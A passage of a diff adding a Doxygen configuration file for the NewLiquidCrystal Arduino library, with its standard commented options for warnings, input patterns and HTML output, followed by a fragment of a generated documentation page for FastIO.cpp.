used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from +# the version control system). Doxygen will invoke the program by executing (via +# popen()) the command command input-file, where command is the value of the +# FILE_VERSION_FILTER tag, and input-file is the name of an input file provided +# by doxygen. Whatever the program writes to standard output is used as the file +# version. For an example see the documentation. + +FILE_VERSION_FILTER = + +# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed +# by doxygen. The layout file controls the global structure of the generated +# output files in an output format independent way. To create the layout file +# that represents doxygen's defaults, run doxygen with the -l option. You can +# optionally specify a file name after the option, if omitted DoxygenLayout.xml +# will be used as the name of the layout file. +# +# Note that if you run doxygen from a directory containing a file called +# DoxygenLayout.xml, doxygen will parse it automatically even if the LAYOUT_FILE +# tag is left empty. + +LAYOUT_FILE = + +# The CITE_BIB_FILES tag can be used to specify one or more bib files containing +# the reference definitions. This must be a list of .bib files. The .bib +# extension is automatically appended if omitted. This requires the bibtex tool +# to be installed. See also http://en.wikipedia.org/wiki/BibTeX for more info. +# For LaTeX the style of the bibliography can be controlled using +# LATEX_BIB_STYLE. To use this feature you need bibtex and perl available in the +# search path. See also \cite for info how to create references. + +CITE_BIB_FILES = + +#--------------------------------------------------------------------------- +# Configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated to +# standard output by doxygen. If QUIET is set to YES this implies that the +# messages are off. +# The default value is: NO. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated to standard error (stderr) by doxygen. If WARNINGS is set to YES +# this implies that the warnings are on. +# +# Tip: Turn warnings on while writing the documentation. +# The default value is: YES. + +WARNINGS = YES + +# If the WARN_IF_UNDOCUMENTED tag is set to YES then doxygen will generate +# warnings for undocumented members. If EXTRACT_ALL is set to YES then this flag +# will automatically be disabled. +# The default value is: YES. + +WARN_IF_UNDOCUMENTED = YES + +# If the WARN_IF_DOC_ERROR tag is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some parameters +# in a documented function, or documenting parameters that don't exist or using +# markup commands wrongly. +# The default value is: YES. + +WARN_IF_DOC_ERROR = YES + +# This WARN_NO_PARAMDOC option can be enabled to get warnings for functions that +# are documented, but have no documentation for their parameters or return +# value. If set to NO, doxygen will only warn about wrong or incomplete +# parameter documentation, but not about the absence of documentation. +# The default value is: NO. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that doxygen +# can produce. The string should contain the $file, $line, and $text tags, which +# will be replaced by the file and line number from which the warning originated +# and the warning text. Optionally the format may contain $version, which will +# be replaced by the version of the file (if it could be obtained via +# FILE_VERSION_FILTER) +# The default value is: $file:$line: $text. + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning and error +# messages should be written. If left blank the output is written to standard +# error (stderr). + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# Configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag is used to specify the files and/or directories that contain +# documented source files. You may enter file names like myfile.cpp or +# directories like /usr/src/myproject. Separate the files or directories with +# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING +# Note: If this tag is empty the current directory is searched. + +INPUT = "/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal" + +# This tag can be used to specify the character encoding of the source files +# that doxygen parses. Internally doxygen uses the UTF-8 encoding. Doxygen uses +# libiconv (or the iconv built into libc) for the transcoding. See the libiconv +# documentation (see: http://www.gnu.org/software/libiconv) for the list of +# possible encodings. +# The default value is: UTF-8. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard patterns (like *.cpp and +# *.h) to filter out the source-files in the directories. +# +# Note that for custom extensions or not directly supported extensions you also +# need to set EXTENSION_MAPPING for the extension otherwise the files are not +# read by doxygen. +# +# If left blank the following patterns are tested:*.c, *.cc, *.cxx, *.cpp, +# *.c++, *.java, *.ii, *.ixx, *.ipp, *.i++, *.inl, *.idl, *.ddl, *.odl, *.h, +# *.hh, *.hxx, *.hpp, *.h++, *.cs, *.d, *.php, *.php4, *.php5, *.phtml, *.inc, +# *.m, *.markdown, *.md, *.mm, *.dox, *.py, *.f90, *.f, *.for, *.tcl, *.vhd, +# *.vhdl, *.ucf, *.qsf, *.as and *.js. + +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.idl \ + *.ddl \ + *.odl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.cs \ + *.d \ + *.php \ + *.php4 \ + *.php5 \ + *.phtml \ + *.inc \ + *.m \ + *.markdown \ + *.md \ + *.mm \ + *.dox \ + *.py \ + *.f90 \ + *.f \ + *.for \ + *.tcl \ + *.vhd \ + *.vhdl \ + *.ucf \ + *.qsf \ + *.as \ + *.js + +# The RECURSIVE tag can be used to specify whether or not subdirectories should +# be searched for input files as well. +# The default value is: NO. + +RECURSIVE = NO + +# The EXCLUDE tag can be used to specify files and/or directories that should be +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. +# +# Note that relative paths are relative to the directory from which doxygen is +# run. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used to select whether or not files or +# directories that are symbolic links (a Unix file system feature) are excluded +# from the input. +# The default value is: NO. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. +# +# Note that the wildcards are matched against the file with absolute path, so to +# exclude all test directories for example use the pattern */test/* + +EXCLUDE_PATTERNS = + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the +# output. The symbol name can be a fully qualified name, a word, or if the +# wildcard * is used, a substring. Examples: ANamespace, AClass, +# AClass::ANamespace, ANamespace::*Test +# +# Note that the wildcards are matched against the file with absolute path, so to +# exclude all test directories use the pattern */test/* + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or directories +# that contain example code fragments that are included (see the \include +# command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp and +# *.h) to filter out the source-files in the directories. If left blank all +# files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude commands +# irrespective of the value of the RECURSIVE tag. +# The default value is: NO. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or directories +# that contain images that are to be included in the documentation (see the +# \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command: +# +# +# +# where is the value of the INPUT_FILTER tag, and is the +# name of an input file. Doxygen will then use the output that the filter +# program writes to standard output. If FILTER_PATTERNS is specified, this tag +# will be ignored. +# +# Note that the filter must not add or remove lines; it is applied before the +# code is scanned, but not when the output code is generated. If lines are added +# or removed, the anchors will not be placed correctly. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: pattern=filter +# (like *.cpp=my_cpp_filter). See INPUT_FILTER for further information on how +# filters are used. If the FILTER_PATTERNS tag is empty or if none of the +# patterns match the file name, INPUT_FILTER is applied. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will also be used to filter the input files that are used for +# producing the source files to browse (i.e. when SOURCE_BROWSER is set to YES). +# The default value is: NO. + +FILTER_SOURCE_FILES = NO + +# The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file +# pattern. A pattern will override the setting for FILTER_PATTERN (if any) and +# it is also possible to disable source filtering for a specific pattern using +# *.ext= (so without naming a filter). +# This tag requires that the tag FILTER_SOURCE_FILES is set to YES. + +FILTER_SOURCE_PATTERNS = + +# If the USE_MDFILE_AS_MAINPAGE tag refers to the name of a markdown file that +# is part of the input, its contents will be placed on the main page +# (index.html). This can be useful if you have a project on for instance GitHub +# and want to reuse the introduction page also for the doxygen output. + +USE_MDFILE_AS_MAINPAGE = + +#--------------------------------------------------------------------------- +# Configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will be +# generated. Documented entities will be cross-referenced with these sources. +# +# Note: To get rid of all source code in the generated output, make sure that +# also VERBATIM_HEADERS is set to NO. +# The default value is: NO. + +SOURCE_BROWSER = NO + +# Setting the INLINE_SOURCES tag to YES will include the body of functions, +# classes and enums directly into the documentation. +# The default value is: NO. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES will instruct doxygen to hide any +# special comment blocks from generated source code fragments. Normal C, C++ and +# Fortran comments will always remain visible. +# The default value is: YES. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES then for each documented +# function all documented functions referencing it will be listed. +# The default value is: NO. + +REFERENCED_BY_RELATION = NO + +# If the REFERENCES_RELATION tag is set to YES then for each documented function +# all documented entities called/used by that function will be listed. +# The default value is: NO. + +REFERENCES_RELATION = NO + +# If the REFERENCES_LINK_SOURCE tag is set to YES and SOURCE_BROWSER tag is set +# to YES then the hyperlinks from functions in REFERENCES_RELATION and +# REFERENCED_BY_RELATION lists will link to the source code. Otherwise they will +# link to the documentation. +# The default value is: YES. + +REFERENCES_LINK_SOURCE = YES + +# If SOURCE_TOOLTIPS is enabled (the default) then hovering a hyperlink in the +# source code will show a tooltip with additional information such as prototype, +# brief description and links to the definition and documentation. Since this +# will make the HTML file larger and loading of large files a bit slower, you +# can opt to disable this feature. +# The default value is: YES. +# This tag requires that the tag SOURCE_BROWSER is set to YES. + +SOURCE_TOOLTIPS = YES + +# If the USE_HTAGS tag is set to YES then the references to source code will +# point to the HTML generated by the htags(1) tool instead of doxygen built-in +# source browser. The htags tool is part of GNU's global source tagging system +# (see http://www.gnu.org/software/global/global.html). You will need version +# 4.8.6 or higher. +# +# To use it do the following: +# - Install the latest version of global +# - Enable SOURCE_BROWSER and USE_HTAGS in the config file +# - Make sure the INPUT points to the root of the source tree +# - Run doxygen as normal +# +# Doxygen will invoke htags (and that will in turn invoke gtags), so these +# tools must be available from the command line (i.e. in the search path). +# +# The result: instead of the source browser generated by doxygen, the links to +# source code will now point to the output of htags. +# The default value is: NO. +# This tag requires that the tag SOURCE_BROWSER is set to YES. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set the YES then doxygen will generate a +# verbatim copy of the header file for each class for which an include is +# specified. Set to NO to disable this. +# See also: Section \class. +# The default value is: YES. + +VERBATIM_HEADERS = YES + +# If the CLANG_ASSISTED_PARSING tag is set to YES then doxygen will use the +# clang parser (see: http://clang.llvm.org/) for more accurate parsing at the +# cost of reduced performance. This can be particularly helpful with template +# rich C++ code for which doxygen's built-in parser lacks the necessary type +# information. +# Note: The availability of this option depends on whether or not doxygen was +# compiled with the --with-libclang option. +# The default value is: NO. + +CLANG_ASSISTED_PARSING = NO + +# If clang assisted parsing is enabled you can provide the compiler with command +# line options that you would normally use when invoking the compiler. Note that +# the include paths will already be set by doxygen for the files and directories +# specified with INPUT and INCLUDE_PATH. +# This tag requires that the tag CLANG_ASSISTED_PARSING is set to YES. + +CLANG_OPTIONS = + +#--------------------------------------------------------------------------- +# Configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index of all +# compounds will be generated. Enable this if the project contains a lot of +# classes, structs, unions or interfaces. +# The default value is: YES. + +ALPHABETICAL_INDEX = YES + +# The COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns in +# which the alphabetical index list will be split. +# Minimum value: 1, maximum value: 20, default value: 5. +# This tag requires that the tag ALPHABETICAL_INDEX is set to YES. + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all classes will +# be put under the same header in the alphabetical index. The IGNORE_PREFIX tag +# can be used to specify a prefix (or a list of prefixes) that should be ignored +# while generating the index headers. +# This tag requires that the tag ALPHABETICAL_INDEX is set to YES. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES, doxygen will generate HTML output +# The default value is: YES. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. If a +# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of +# it. +# The default directory is: html. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for each +# generated HTML page (for example: .htm, .php, .asp). +# The default value is: .html. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a user-defined HTML header file for +# each generated HTML page. If the tag is left blank doxygen will generate a +# standard header. +# +# To get valid HTML the header file that includes any scripts and style sheets +# that doxygen needs, which is dependent on the configuration options used (e.g. +# the setting GENERATE_TREEVIEW). It is highly recommended to start with a +# default header using +# doxygen -w html new_header.html new_footer.html new_stylesheet.css +# YourConfigFile +# and then modify the file new_header.html. See also section "Doxygen usage" +# for information on how to generate the default header that doxygen normally +# uses. +# Note: The header is subject to change so you typically have to regenerate the +# default header when upgrading to a newer version of doxygen. For a description +# of the possible markers and block names see the documentation. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a user-defined HTML footer for each +# generated HTML page. If the tag is left blank doxygen will generate a standard +# footer. See HTML_HEADER for more information on how to generate a default +# footer and what special commands can be used inside the footer. See also +# section "Doxygen usage" for information on how to generate the default footer +# that doxygen normally uses. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading style +# sheet that is used by each HTML page. It can be used to fine-tune the look of +# the HTML output. If left blank doxygen will generate a default style sheet. +# See also section "Doxygen usage" for information on how to generate the style +# sheet that doxygen normally uses. +# Note: It is recommended to use HTML_EXTRA_STYLESHEET instead of this tag, as +# it is more robust and this tag (HTML_STYLESHEET) will in the future become +# obsolete. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_STYLESHEET = + +# The HTML_EXTRA_STYLESHEET tag can be used to specify additional user-defined +# cascading style sheets that are included after the standard style sheets +# created by doxygen. Using this option one can overrule certain style aspects. +# This is preferred over using HTML_STYLESHEET since it does not replace the +# standard style sheet and is therefore more robust against future updates. +# Doxygen will copy the style sheet files to the output directory. +# Note: The order of the extra style sheet files is of importance (e.g. the last +# style sheet in the list overrules the setting of the previous ones in the +# list). For an example see the documentation. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_EXTRA_STYLESHEET = + +# The HTML_EXTRA_FILES tag can be used to specify one or more extra images or +# other source files which should be copied to the HTML output directory. Note +# that these files will be copied to the base HTML output directory. Use the +# $relpath^ marker in the HTML_HEADER and/or HTML_FOOTER files to load these +# files. In the HTML_STYLESHEET file, use the file name only. Also note that the +# files will be copied as-is; there are no commands or markers available. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_EXTRA_FILES = + +# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. Doxygen +# will adjust the colors in the style sheet and background images according to +# this color. Hue is specified as an angle on a colorwheel, see +# http://en.wikipedia.org/wiki/Hue for more information. For instance the value +# 0 represents red, 60 is yellow, 120 is green, 180 is cyan, 240 is blue, 300 +# purple, and 360 is red again. +# Minimum value: 0, maximum value: 359, default value: 220. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_HUE = 220 + +# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of the colors +# in the HTML output. For a value of 0 the output will use grayscales only. A +# value of 255 will produce the most vivid colors. +# Minimum value: 0, maximum value: 255, default value: 100. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_SAT = 100 + +# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to the +# luminance component of the colors in the HTML output. Values below 100 +# gradually make the output lighter, whereas values above 100 make the output +# darker. The value divided by 100 is the actual gamma applied, so 80 represents +# a gamma of 0.8, The value 220 represents a gamma of 2.2, and 100 does not +# change the gamma. +# Minimum value: 40, maximum value: 240, default value: 80. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_COLORSTYLE_GAMMA = 80 + +# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML +# page will contain the date and time when the page was generated. Setting this +# to YES can help to show when doxygen was last run and thus if the +# documentation is up to date. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_TIMESTAMP = NO + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_DYNAMIC_SECTIONS = NO + +# With HTML_INDEX_NUM_ENTRIES one can control the preferred number of entries +# shown in the various tree structured indices initially; the user can expand +# and collapse entries dynamically later on. Doxygen will expand the tree to +# such a level that at most the specified number of entries are visible (unless +# a fully collapsed tree already exceeds this amount). So setting the number of +# entries 1 will produce a full collapsed tree by default. 0 is a special value +# representing an infinite number of entries and will result in a full expanded +# tree by default. +# Minimum value: 0, maximum value: 9999, default value: 100. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_INDEX_NUM_ENTRIES = 100 + +# If the GENERATE_DOCSET tag is set to YES, additional index files will be +# generated that can be used as input for Apple's Xcode 3 integrated development +# environment (see: http://developer.apple.com/tools/xcode/), introduced with +# OSX 10.5 (Leopard). To create a documentation set, doxygen will generate a +# Makefile in the HTML output directory. Running make will produce the docset in +# that directory and running make install will install the docset in +# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find it at +# startup. See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html +# for more information. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_DOCSET = NO + +# This tag determines the name of the docset feed. A documentation feed provides +# an umbrella under which multiple documentation sets from a single provider +# (such as a company or product suite) can be grouped. +# The default value is: Doxygen generated docs. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_FEEDNAME = "Doxygen generated docs" + +# This tag specifies a string that should uniquely identify the documentation +# set bundle. This should be a reverse domain-name style string, e.g. +# com.mycompany.MyDocSet. Doxygen will append .docset to the name. +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_BUNDLE_ID = org.doxygen.Project + +# The DOCSET_PUBLISHER_ID tag specifies a string that should uniquely identify +# the documentation publisher. This should be a reverse domain-name style +# string, e.g. com.mycompany.MyDocSet.documentation. +# The default value is: org.doxygen.Publisher. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_PUBLISHER_ID = org.doxygen.Publisher + +# The DOCSET_PUBLISHER_NAME tag identifies the documentation publisher. +# The default value is: Publisher. +# This tag requires that the tag GENERATE_DOCSET is set to YES. + +DOCSET_PUBLISHER_NAME = Publisher + +# If the GENERATE_HTMLHELP tag is set to YES then doxygen generates three +# additional HTML index files: index.hhp, index.hhc, and index.hhk. The +# index.hhp is a project file that can be read by Microsoft's HTML Help Workshop +# (see: http://www.microsoft.com/en-us/download/details.aspx?id=21138) on +# Windows. +# +# The HTML Help Workshop contains a compiler that can convert all HTML output +# generated by doxygen into a single compiled HTML file (.chm). Compiled HTML +# files are now used as the Windows 98 help format, and will replace the old +# Windows help format (.hlp) on all Windows platforms in the future. Compressed +# HTML files also contain an index, a table of contents, and you can search for +# words in the documentation. The HTML workshop also contains a viewer for +# compressed HTML files. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_HTMLHELP = NO + +# The CHM_FILE tag can be used to specify the file name of the resulting .chm +# file. You can add a path in front of the file if the result should not be +# written to the html output directory. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +CHM_FILE = + +# The HHC_LOCATION tag can be used to specify the location (absolute path +# including file name) of the HTML help compiler (hhc.exe). If non-empty, +# doxygen will try to run the HTML help compiler on the generated index.hhp. +# The file has to be specified with full path. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +HHC_LOCATION = + +# The GENERATE_CHI flag controls if a separate .chi index file is generated +# (YES) or that it should be included in the master .chm file (NO). +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +GENERATE_CHI = NO + +# The CHM_INDEX_ENCODING is used to encode HtmlHelp index (hhk), content (hhc) +# and project file content. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +CHM_INDEX_ENCODING = + +# The BINARY_TOC flag controls whether a binary table of contents is generated +# (YES) or a normal table of contents (NO) in the .chm file. Furthermore it +# enables the Previous and Next buttons. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members to +# the table of contents of the HTML help documentation and to the tree view. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTMLHELP is set to YES. + +TOC_EXPAND = NO + +# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and +# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated that +# can be used as input for Qt's qhelpgenerator to generate a Qt Compressed Help +# (.qch) of the generated HTML documentation. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_QHP = NO + +# If the QHG_LOCATION tag is specified, the QCH_FILE tag can be used to specify +# the file name of the resulting .qch file. The path specified is relative to +# the HTML output folder. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QCH_FILE = + +# The QHP_NAMESPACE tag specifies the namespace to use when generating Qt Help +# Project output. For more information please see Qt Help Project / Namespace +# (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#namespace). +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_NAMESPACE = org.doxygen.Project + +# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating Qt +# Help Project output. For more information please see Qt Help Project / Virtual +# Folders (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#virtual- +# folders). +# The default value is: doc. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_VIRTUAL_FOLDER = doc + +# If the QHP_CUST_FILTER_NAME tag is set, it specifies the name of a custom +# filter to add. For more information please see Qt Help Project / Custom +# Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- +# filters). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_CUST_FILTER_NAME = + +# The QHP_CUST_FILTER_ATTRS tag specifies the list of the attributes of the +# custom filter to add. For more information please see Qt Help Project / Custom +# Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- +# filters). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_CUST_FILTER_ATTRS = + +# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this +# project's filter section matches. Qt Help Project / Filter Attributes (see: +# http://qt-project.org/doc/qt-4.8/qthelpproject.html#filter-attributes). +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHP_SECT_FILTER_ATTRS = + +# The QHG_LOCATION tag can be used to specify the location of Qt's +# qhelpgenerator. If non-empty doxygen will try to run qhelpgenerator on the +# generated .qhp file. +# This tag requires that the tag GENERATE_QHP is set to YES. + +QHG_LOCATION = + +# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files will be +# generated, together with the HTML files, they form an Eclipse help plugin. To +# install this plugin and make it available under the help contents menu in +# Eclipse, the contents of the directory containing the HTML and XML files needs +# to be copied into the plugins directory of eclipse. The name of the directory +# within the plugins directory should be the same as the ECLIPSE_DOC_ID value. +# After copying Eclipse needs to be restarted before the help appears. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_ECLIPSEHELP = NO + +# A unique identifier for the Eclipse help plugin. When installing the plugin +# the directory name containing the HTML and XML files should also have this +# name. Each documentation set should have its own identifier. +# The default value is: org.doxygen.Project. +# This tag requires that the tag GENERATE_ECLIPSEHELP is set to YES. + +ECLIPSE_DOC_ID = org.doxygen.Project + +# If you want full control over the layout of the generated HTML pages it might +# be necessary to disable the index and replace it with your own. The +# DISABLE_INDEX tag can be used to turn on/off the condensed index (tabs) at top +# of each HTML page. A value of NO enables the index and the value YES disables +# it. Since the tabs in the index contain the same information as the navigation +# tree, you can set this option to YES if you also set GENERATE_TREEVIEW to YES. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +DISABLE_INDEX = NO + +# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index +# structure should be generated to display hierarchical information. If the tag +# value is set to YES, a side panel will be generated containing a tree-like +# index structure (just like the one that is generated for HTML Help). For this +# to work a browser that supports JavaScript, DHTML, CSS and frames is required +# (i.e. any modern browser). Windows users are probably better off using the +# HTML help feature. Via custom style sheets (see HTML_EXTRA_STYLESHEET) one can +# further fine-tune the look of the index. As an example, the default style +# sheet generated by doxygen has an example that shows how to put an image at +# the root of the tree instead of the PROJECT_NAME. Since the tree basically has +# the same information as the tab index, you could consider setting +# DISABLE_INDEX to YES when enabling this option. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +GENERATE_TREEVIEW = NO + +# The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values that +# doxygen will group on one line in the generated HTML documentation. +# +# Note that a value of 0 will completely suppress the enum values from appearing +# in the overview section. +# Minimum value: 0, maximum value: 20, default value: 4. +# This tag requires that the tag GENERATE_HTML is set to YES. + +ENUM_VALUES_PER_LINE = 4 + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be used +# to set the initial width (in pixels) of the frame in which the tree is shown. +# Minimum value: 0, maximum value: 1500, default value: 250. +# This tag requires that the tag GENERATE_HTML is set to YES. + +TREEVIEW_WIDTH = 250 + +# If the EXT_LINKS_IN_WINDOW option is set to YES, doxygen will open links to +# external symbols imported via tag files in a separate window. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +EXT_LINKS_IN_WINDOW = NO + +# Use this tag to change the font size of LaTeX formulas included as images in +# the HTML documentation. When you change the font size after a successful +# doxygen run you need to manually remove any form_*.png images from the HTML +# output directory to force them to be regenerated. +# Minimum value: 8, maximum value: 50, default value: 10. +# This tag requires that the tag GENERATE_HTML is set to YES. + +FORMULA_FONTSIZE = 10 + +# Use the FORMULA_TRANPARENT tag to determine whether or not the images +# generated for formulas are transparent PNGs. Transparent PNGs are not +# supported properly for IE 6.0, but are supported on all modern browsers. +# +# Note that when changing this option you need to delete any form_*.png files in +# the HTML output directory before the changes have effect. +# The default value is: YES. +# This tag requires that the tag GENERATE_HTML is set to YES. + +FORMULA_TRANSPARENT = YES + +# Enable the USE_MATHJAX option to render LaTeX formulas using MathJax (see +# http://www.mathjax.org) which uses client side Javascript for the rendering +# instead of using pre-rendered bitmaps. Use this if you do not have LaTeX +# installed or if you want to formulas look prettier in the HTML output. When +# enabled you may also need to install MathJax separately and configure the path +# to it using the MATHJAX_RELPATH option. +# The default value is: NO. +# This tag requires that the tag GENERATE_HTML is set to YES. + +USE_MATHJAX = NO + +# When MathJax is enabled you can set the default output format to be used for +# the MathJax output. See the MathJax site (see: +# http://docs.mathjax.org/en/latest/output.html) for more details. +# Possible values are: HTML-CSS (which is slower, but has the best +# compatibility), NativeMML (i.e. MathML) and SVG. +# The default value is: HTML-CSS. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_FORMAT = HTML-CSS + +# When MathJax is enabled you need to specify the location relative to the HTML +# output directory using the MATHJAX_RELPATH option. The destination directory +# should contain the MathJax.js script. For instance, if the mathjax directory +# is located at the same level as the HTML output directory, then +# MATHJAX_RELPATH should be ../mathjax. The default value points to the MathJax +# Content Delivery Network so you can quickly see the result without installing +# MathJax. However, it is strongly recommended to install a local copy of +# MathJax from http://www.mathjax.org before deployment. +# The default value is: http://cdn.mathjax.org/mathjax/latest. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_RELPATH = http://cdn.mathjax.org/mathjax/latest + +# The MATHJAX_EXTENSIONS tag can be used to specify one or more MathJax +# extension names that should be enabled during MathJax rendering. For example +# MATHJAX_EXTENSIONS = TeX/AMSmath TeX/AMSsymbols +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_EXTENSIONS = + +# The MATHJAX_CODEFILE tag can be used to specify a file with javascript pieces +# of code that will be used on startup of the MathJax code. See the MathJax site +# (see: http://docs.mathjax.org/en/latest/output.html) for more details. For an +# example see the documentation. +# This tag requires that the tag USE_MATHJAX is set to YES. + +MATHJAX_CODEFILE = + +# When the SEARCHENGINE tag is enabled doxygen will generate a search box for +# the HTML output. The underlying search engine uses javascript and DHTML and +# should work on any modern browser. Note that when using HTML help +# (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets (GENERATE_DOCSET) +# there is already a search function so this one should typically be disabled. +# For large projects the javascript based search engine can be slow, then +# enabling SERVER_BASED_SEARCH may provide a better solution. It is possible to +# search using the keyboard; to jump to the search box use + S +# (what the is depends on the OS and browser, but it is typically +# , /

+
+ +
+
+
+ +
+
+ +
+
FastIO.cpp File Reference
+
+
+
#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + +

